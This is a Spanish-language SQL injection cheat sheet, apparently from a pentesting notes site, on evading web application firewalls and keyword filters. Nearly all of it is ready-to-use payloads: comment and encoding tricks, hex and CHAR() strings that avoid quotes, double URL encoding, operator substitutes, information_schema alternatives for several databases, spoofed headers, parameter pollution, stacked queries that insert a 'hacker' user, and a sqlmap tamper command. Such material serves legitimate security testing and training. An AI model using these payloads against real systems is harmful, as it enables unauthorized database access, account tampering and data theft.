bypass-de-filtros-waf
Bypass de Filtros - WAF
Section titled “Bypass de Filtros - WAF”Las aplicaciones pueden implementar filtros personalizados o WAFs (Web Application Firewalls) que bloquean patrones comunes de SQLi. Esta sección recoge las técnicas más usadas para evadir estas protecciones.
1. Bypass de espacios en blanco
Section titled “1. Bypass de espacios en blanco”Los espacios son uno de los primeros caracteres filtrados.
-- Alternativas al espacio/**/ → SELECT/**/username/**/FROM/**/users%09 → TAB horizontal%0a → newline%0d → carriage return%0b → vertical tab%a0 → non-breaking space+ → en URLs (equivale a espacio en query string)
-- Ejemplos' UNION/**/SELECT/**/NULL,username,password/**/FROM/**/users--/**/'/**/UNION/**/SELECT/**/1,2,3--'%09UNION%09SELECT%091,2,3--2. Bypass de palabras clave (case & encoding)
Section titled “2. Bypass de palabras clave (case & encoding)”Variaciones de mayúsculas/minúsculas
Section titled “Variaciones de mayúsculas/minúsculas”-- MySQL es case-insensitive con keywordsSeLeCt, UNION, uNiOn, UniOn
SELECT * FROM userssElEcT * fRoM uSeRsComentarios inline para romper keywords
Section titled “Comentarios inline para romper keywords”-- Insertar comentarios dentro de palabras clave (MySQL)UN/**/ION/**/SEL/**/ECTUN/*comment*/ION SEL/*comment*/ECT
-- Con !UN/*!ION*/ SEL/*!ECT*/ 1,2,3Comentarios condicionales MySQL (/*!...*/)
Section titled “Comentarios condicionales MySQL (/*!...*/)”-- Solo MySQL ejecuta lo que hay dentro/*!UNION*/ /*!SELECT*/ 1,2,3/*!50000UNION*/ /*!50000SELECT*/ 1,2,3 -- Versión específica3. Bypass de comillas
Section titled “3. Bypass de comillas”-- Hex encoding (MySQL) - sin comillasWHERE username = 0x61646d696e -- 'admin' en hexWHERE username = 0x726f6f74 -- 'root' en hex
-- char() functionWHERE username = CHAR(97,100,109,105,110) -- 'admin'
-- concat con charWHERE username = concat(CHAR(97),CHAR(100),CHAR(109))
-- En extractvalue sin comillas' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=0x7461726765745f6462 LIMIT 0,1))) -- -4. URL Encoding / Double Encoding
Section titled “4. URL Encoding / Double Encoding”-- Encoding simple' → %27 → %20# → %23
-- Double encoding (cuando el WAF decodifica una vez y no lo detecta)' → %2527 (%25 = %, %27 = ') → %2520-- Ejemplo en URL/item?id=1%27%20AND%201=1--%20-/item?id=1%2527%2520AND%25201=1--%2520-5. Bypass con comentarios alternativos
Section titled “5. Bypass con comentarios alternativos”-- Comentarios disponibles según DBMS-- comentario de línea (estándar)# comentario de línea (MySQL)/* comentario de bloque */;%00 null byte (legacy, casi no funciona)/*!...*/ comentario condicional MySQL
-- Uso para romper patrones detectados' /*!AND*/ 1=1 -- -' /*!UNION*/ /*!SELECT*/ 1,2,3 -- -6. Bypass de filtros de palabras específicas
Section titled “6. Bypass de filtros de palabras específicas”Si “UNION” está filtrado
Section titled “Si “UNION” está filtrado”-- Usar UNION ALL' UNION ALL SELECT NULL,username,password FROM users -- -
-- Con comentarios embebidos' UN/**/ION SEL/**/ECT NULL,2,3 -- -
-- Si la query es modificada/normalizada, intentar:' uNiOn SeLeCt NULL,2,3 -- -Si “SELECT” está filtrado
Section titled “Si “SELECT” está filtrado”-- Comentarios embebidosSEL/**/ECTSE%00LECT (null byte, legacy)
-- En MySQL con comentario condicional/*!SELECT*/Si “AND/OR” están filtrados
Section titled “Si “AND/OR” están filtrados”-- Alternativas a AND&& → ' && 1=1 -- -%26%26
-- Alternativas a OR|| → ' || 1=1 -- -%7c%7cSi “=” está filtrado
Section titled “Si “=” está filtrado”-- Alternativas a =LIKE → WHERE username LIKE 'admin'IN → WHERE username IN ('admin')BETWEEN → WHERE id BETWEEN 1 AND 1REGEXP → WHERE username REGEXP 'admin'<> → NOT equal!< → not less than (MSSQL)Si “information_schema” está filtrado
Section titled “Si “information_schema” está filtrado”-- MySQL — alternativasSELECT table_name FROM mysql.innodb_table_stats; -- tablas con statsSELECT * FROM sys.schema_table_statistics; -- vista sys
-- PostgreSQL — alternativasSELECT tablename FROM pg_tables WHERE schemaname='public';
-- MSSQL — alternativasSELECT name FROM sysobjects WHERE type='U'; -- tablas de usuarioSELECT name FROM sys.tables;
-- Oracle — alternativasSELECT table_name FROM all_tables;SELECT object_name FROM all_objects WHERE object_type='TABLE';7. HTTP-level bypasses
Section titled “7. HTTP-level bypasses”-- Cambiar método (GET → POST o viceversa)-- Algunos WAF solo filtran GET
-- Cambiar Content-TypeContent-Type: application/x-www-form-urlencoded → Content-Type: application/json
-- Añadir headers que confundan al WAFX-Forwarded-For: 127.0.0.1X-Originating-IP: 127.0.0.1X-Remote-IP: 127.0.0.1X-Remote-Addr: 127.0.0.1
-- Fragmentar el payload en múltiples parámetros (HPP - HTTP Parameter Pollution)?id=1' UNION&id= SELECT 1,2,3--8. Técnicas avanzadas
Section titled “8. Técnicas avanzadas”Stacked Queries (si el driver lo permite)
Section titled “Stacked Queries (si el driver lo permite)”-- MSSQL / PostgreSQL permiten múltiples sentencias con ;'; SELECT SLEEP(5) -- -'; INSERT INTO users(username,password) VALUES('hacker','pass') -- -Subqueries alternativas
Section titled “Subqueries alternativas”-- En lugar de UNION, usar subquery en WHERE' AND (SELECT 1 FROM (SELECT username FROM users WHERE username='admin') t) -- -Bypass de longitud máxima
Section titled “Bypass de longitud máxima”-- Usar variables en MySQL para partir el payloadSET @q=0x53454c454354202a2046524f4d207573657273; -- SELECT * FROM users en hexPREPARE stmt FROM @q;EXECUTE stmt;Cheatsheet
Section titled “Cheatsheet”| Filtrado | Bypass |
|---|---|
| Espacios | /**/ / %09 / %0a |
| Comillas | 0x... / CHAR() |
UNION |
UN/**/ION / UNION ALL |
SELECT |
SEL/**/ECT / /*!SELECT*/ |
AND / OR |
&& / || |
= |
LIKE / IN / BETWEEN |
information_schema |
sys.tables / pg_tables |
| Keywords en general | Comentarios inline + mayúsculas mezcladas |
sqlmap tiene el flag
--tampercon scripts específicos:space2comment,between,charencode,randomcase,modsecurityversioned, etc.
sqlmap -u "https://target.com/item?id=1" --tamper=space2comment,between,randomcasePara entender qué está filtrando el WAF, enviar payloads progresivos y observar qué genera 403 vs qué pasa. Usar Burp Repeater para iterar.